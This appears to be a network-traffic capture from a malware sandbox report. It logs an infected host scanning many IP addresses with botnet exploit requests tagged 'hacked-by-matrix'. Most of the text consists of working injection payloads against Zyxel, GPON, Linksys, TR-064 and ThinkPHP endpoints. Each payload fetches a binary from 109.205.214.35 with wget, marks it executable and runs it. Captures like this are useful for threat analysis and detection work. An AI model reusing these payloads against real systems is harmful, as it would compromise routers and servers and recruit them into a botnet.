6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>
Mar 21, 2024 05:18:46.742003918 CET	913	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:18:15 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.13	45050	178.236.225.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.812820911 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:47.752490044 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:48.038583040 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Mar 21, 2024 05:18:48.038594961 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.13	47930	42.182.45.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.974849939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.13	39378	118.226.71.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.974854946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.13	55690	2.91.47.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.974878073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.13	47760	79.101.41.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.974893093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.13	32870	37.194.200.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.974920988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.13	45680	5.203.162.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.974971056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.13	47142	79.179.144.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.975023985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.13	39986	2.75.232.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.975090981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.13	43558	94.124.141.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.975115061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.13	37276	5.131.7.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.975150108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.13	50730	109.165.30.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.975191116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.13	51226	37.127.9.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.975244045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.13	36642	172.67.105.155	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.987289906 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:47.507863998 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:48.115855932 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.13	56324	172.65.108.51	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.987356901 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.13	46352	172.64.164.224	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.987380028 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:47.507863998 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:48.115858078 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.13	50852	120.150.63.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:47.139523983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.13	36072	95.86.112.116	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:47.515963078 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:51.699822903 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.13	56236	172.65.198.112	55555

Timestamp	Bytes transferred	Direction	Data
